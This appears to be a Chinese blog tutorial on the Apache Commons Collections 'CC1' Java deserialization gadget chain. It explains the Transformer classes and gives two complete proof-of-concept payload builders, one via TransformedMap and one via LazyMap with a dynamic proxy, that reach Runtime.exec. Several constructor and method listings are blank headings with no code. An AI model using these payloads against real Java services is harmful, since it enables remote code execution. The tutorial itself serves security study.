基础

cc接口及类介绍

Transformer接口

Defines a functor interface implemented by classes that transform one object into another.

只有一个方法：

ConstantTransformer

returns the same constant each time

构造函数：

transform方法：

InvokerTransformer

implementation that creates a new object instance by reflection.

构造函数：

transform方法：

在input方法中找到与iMethodName、iParamTypes匹配的方法，然后利用反射调用它。

例子：

ChainedTransformer

implementation that chains the specified transformers together.

构造函数：

tranform方法：

就是将多个transform串起来，用第iTranforms[0]来tranform输入的元素，然后将transform后的元素作为iTranforms[i]的tranform参数。所以，如果iTranforms[0]为ConstantTransformer，输入将对此chained tranform不产生影响。

例子：

反序列化

注意到Runtime类没有实现反序列化接口，怎么才能构造它并反序列化呢

注意到cc可以动态转化类，可以通过反射构造出Rutime类。但是Runtime的构造方法是私有的，怎么办呢。调用一个类的静态方法，不需要这个类被实例化，反射的时候也是如此。所以：

            Method method = Runtime.class.getMethod("getRuntime", null);

            Runtime runtime = Runtime.class.cast(method.invoke(null, null));

            runtime.exec("calc");

注意到这种写法有cast方法，其实是可以接着用反射替换掉：

Method method = Runtime.class.getMethod("getRuntime", null);

Object obj =method.invoke(null, null);

Method exec = obj.getClass().getMethod("exec", new Class[]{String.class});

exec.invoke(obj, "calc");

上诉这种形式可以完美匹配chained链条，用tranform的方式表达：

        Transformer[] transformer = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),

                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),

                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

        };

        ChainedTransformer ct = new ChainedTransformer(transformer);

        ct.transform(null);

此时我们已经可以制作出一个可以被反序列化的ChainedTransformer了。接下来要找到一个类：

1、有ChainedTransformer属性，且可被赋值。

2、在静态构造块、初始化构造块、构造函数、readObj链之一中调用ct.tranform的类。

cc1

TransformedMap

Decorates another Map to transform objects that are added.

构造函数：

注意到：

org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue会调用

所以只要找到readObject中调用了MapEntry.setValue即可完成反序列化利用链

AnnotationInvocationHandler

构造方法：

readObj方法：

var3为map，key为this.type方法名

遍历var2中的key，查看var3的keys是否包含。如果包含就调用var5的setValue。

poc

    public void exp1() throws Exception {

        Transformer[] transformer = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),

                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),

                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{Utils.cmd})

        };

        ChainedTransformer ct = new ChainedTransformer(transformer);

        Map innermap = new HashMap();

        //绕过var3.get(var6)

        innermap.put("value", "xx");

        Map outermap = TransformedMap.decorate(innermap, null, ct);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        //为私有方法

        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

        constructor.setAccessible(true);

        //Retention为有value方法

        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outermap);

        ser(handler);

    }

    public void ser(InvocationHandler handler) throws Exception {

        ByteArrayOutputStream barr = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(barr);

        oos.writeObject(handler);

        oos.close();

        System.out.println(barr);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));

        Object o = (Object) ois.readObject();

    }

调用链

lazyMap

get方法调用了transform：

对象初始化：

动态代理

java动态代理是利用反射机制生成一个实现代理接口的匿名类，在调用具体方法前调用InvokeHandler来处理

动态代理那些接口

        PersonEat personEat = new PersonEat();

        //代理类代理personEat的所有接口中包含的方法

        Object obj1 =  Proxy.newProxyInstance(personEat.getClass().getClassLoader(),

                personEat.getClass().getInterfaces(), (proxy, method, args1) -> {

                    System.out.println("wash");

                    Object obj = method.invoke(personEat, args1);

                    System.out.println("clean");

                    return obj;

                });

        Eat.class.cast(obj1).eat();

        Dress.class.cast(obj1).dress();

        //代理类代理personEat的Dress接口的方法

        obj1 =  Proxy.newProxyInstance(personEat.getClass().getClassLoader(),

                new Class[]{Dress.class}, (proxy, method, args1) -> {

                    System.out.println("wash");

                    Object obj = method.invoke(personEat, args1);

                    System.out.println("clean");

                    return obj;

                });

        Dress.class.cast(obj1).dress();

        Eat.class.cast(obj1).eat();

动态代理类查看：

这些方法均会触发代理方法：

poc

AnnotationInvocationHandler的readObj中entrySet为Map的接口方法，会自动触发invoke方法。

生成的动态代理类，invoke方法已被重写：

invoke方法又调用了map的get方法，如果这个map为lazyMap则利用链完整。又这个memberValues为构造函数的参数，外部可控，可设置为lazyMap。

        Transformer[] transformer = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),

                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),

                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{Utils.cmd})

        };

        ChainedTransformer ct = new ChainedTransformer(transformer);

        //构造LazyMap

        Map innerMap = new HashMap();

        innerMap.put("value", "xx");

        Map outerMap = LazyMap.decorate(innerMap, ct);

        //构造ProxyMap

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

        constructor.setAccessible(true);

        //一个实现了InvocationHandler的类，然后使用代理来劫持一个Map类型的对象的函数执行流程，

        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

        handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);

        ser(handler);

调用链

巴特西

cc1

基础

cc接口及类介绍

Transformer接口

ConstantTransformer

InvokerTransformer

ChainedTransformer

反序列化

cc1

TransformedMap

AnnotationInvocationHandler

poc

lazyMap

动态代理

poc

最新文章

热门文章